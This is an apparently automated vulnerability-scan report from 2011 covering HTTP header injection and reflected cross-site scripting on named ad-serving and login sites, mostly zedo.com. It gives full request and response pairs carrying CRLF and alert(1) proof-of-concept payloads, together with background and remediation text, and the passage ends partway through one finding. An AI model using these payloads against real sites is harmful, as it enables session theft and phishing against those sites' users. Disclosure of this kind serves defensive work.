XSS, Cross Site Scripting, CWE-79, Capec-86, CWE-113, HTTP Header Injection, DORK Report for March 21, 2011

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 24 06:37:08 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler | MSRC Reference | GOOG Reference | CVE-2010-3486 | CVE-2010-3425

Loading

1. HTTP header injection

1.1. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]

1.2. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [$ parameter]

2. Cross-site scripting (reflected)

2.1. http://ad.z5x.net/st [name of an arbitrarily supplied request parameter]

2.2. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]

2.3. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]

2.4. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]

2.5. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]

2.6. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]

2.7. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]

2.8. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]

2.9. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]

2.10. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [$ parameter]

2.11. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [$ parameter]

2.12. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [q parameter]

2.13. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [q parameter]

2.14. http://membersarealogin.com/index.asp [area parameter]

2.15. http://membersarealogin.com/index.asp [area parameter]

2.16. http://membersarealogin.com/index.asp [err parameter]

2.17. http://sh.webhire.com/Profiler/login.pfl [EMAIL parameter]

2.18. http://sh.webhire.com/profiler/login_page.pfl [CCC_DEST parameter]

2.19. https://www.ipredator.se/ [name of an arbitrarily supplied request parameter]

2.20. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [ZEDOIDA cookie]



1. HTTP header injection  next
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into the Set-Cookie response header. The payload 880bd%0d%0a44d2bd9e843 was submitted in the $ parameter. This caused a response containing an injected HTTP header.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=880bd%0d%0a44d2bd9e843&s=2764&z=0.10685500502586365 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/tv
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1; FFcat=790,3281,15; FFad=0; ZEDOIDX=29

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:880bd
44d2bd9e843
;expires=Thu, 24 Mar 2011 05: 00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=1;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "4229442-82ee-49ea7626ed3c0"
Vary: Accept-Encoding
X-Varnish: 1854305169
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=182
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:34 GMT
Connection: close
Content-Length: 1303

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',880bd
...[SNIP]...

1.2. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into the Set-Cookie response header. The payload 289bc%0d%0afc3987e46b2 was submitted in the $ parameter. This caused a response containing an injected HTTP header.

Request

GET /bar/v16-403/d3/jsc/fmr.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=289bc%0d%0afc3987e46b2&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:289bc
fc3987e46b2
;expires=Thu, 24 Mar 2011 05: 00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1;expires=Sat, 23 Apr 2011 02:14:57 GMT;path=/;domain=.zedo.com;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=35
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:57 GMT
Connection: close
Content-Length: 6044

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',289bc
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 20 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://ad.z5x.net/st [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.z5x.net
Path:   /st

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 65af9"-alert(1)-"239204efdbc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /st?ad_type=ad&ad_size=468x60&section=1785201&65af9"-alert(1)-"239204efdbc=1 HTTP/1.1
Host: ad.z5x.net
Proxy-Connection: keep-alive
Referer: http://random.securep2p.com/top468.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:14:33 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Cache-Control: no-store
Last-Modified: Thu, 24 Mar 2011 02:14:33 GMT
Pragma: no-cache
Content-Length: 4315
Age: 0
Proxy-Connection: close

/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "ad"; rm_url = "http://ad.z5x.net/imp?65af9"-alert(1)-"239204efdbc=1&Z=468x60&s=1785201&_salt=3588682878";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Ar
...[SNIP]...

2.2. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3faf'%3balert(1)//14e739e6374 was submitted in the $ parameter. This input was echoed as d3faf';alert(1)//14e739e6374 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=d3faf'%3balert(1)//14e739e6374&s=2764&z=0.10685500502586365 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/tv
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1; FFcat=790,3281,15; FFad=0; ZEDOIDX=29

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:d3faf';alert(1)//14e739e6374;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=1;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "4229442-82ee-49ea7626ed3c0"
Vary: Accept-Encoding
X-Varnish: 1854305169
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=182
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:34 GMT
Connection: close
Content-Length: 1323

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',d3faf';alert(1)//14e739e6374';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,d3faf';alert(1)//14e739e6374;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasA
...[SNIP]...

2.3. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db1b2"%3balert(1)//82f82054247 was submitted in the $ parameter. This input was echoed as db1b2";alert(1)//82f82054247 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=db1b2"%3balert(1)//82f82054247&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:db1b2";alert(1)//82f82054247;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=211
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:05 GMT
Connection: close
Content-Length: 2066

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',db1b2";alert(1)//82f82054247';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,db1b2";alert(1)//82f82054247;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd=undefined;


                                           var zzpixie = new Image();
var zzRandom = Math.rand
...[SNIP]...

2.4. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aeff4"%3balert(1)//0b5aa1d0cc8 was submitted in the $ parameter. This input was echoed as aeff4";alert(1)//0b5aa1d0cc8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=aeff4"%3balert(1)//0b5aa1d0cc8&s=2764&z=0.10685500502586365 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/tv
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1; FFcat=790,3281,15; FFad=0; ZEDOIDX=29

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:aeff4";alert(1)//0b5aa1d0cc8;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=1;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "4229442-82ee-49ea7626ed3c0"
Vary: Accept-Encoding
X-Varnish: 1854305169
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=183
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:33 GMT
Connection: close
Content-Length: 1323

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',aeff4";alert(1)//0b5aa1d0cc8';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,aeff4";alert(1)//0b5aa1d0cc8;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd=undefined;


                                           var zzpixie = new Image();
var zzRandom = Math.rand
...[SNIP]...

2.5. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e458'%3balert(1)//339130557b7 was submitted in the $ parameter. This input was echoed as 4e458';alert(1)//339130557b7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=4e458'%3balert(1)//339130557b7&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:4e458';alert(1)//339130557b7;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=210
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:06 GMT
Connection: close
Content-Length: 2066

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',4e458';alert(1)//339130557b7';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,4e458';alert(1)//339130557b7;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasA
...[SNIP]...

2.6. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6bb0b'%3balert(1)//90498f174b5 was submitted in the q parameter. This input was echoed as 6bb0b';alert(1)//90498f174b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=6bb0b'%3balert(1)//90498f174b5&$=&s=2764&z=0.10685500502586365 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/tv
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1; FFcat=790,3281,15; FFad=0; ZEDOIDX=29

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=1;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "4229442-82ee-49ea7626ed3c0"
Vary: Accept-Encoding
X-Varnish: 1854305169
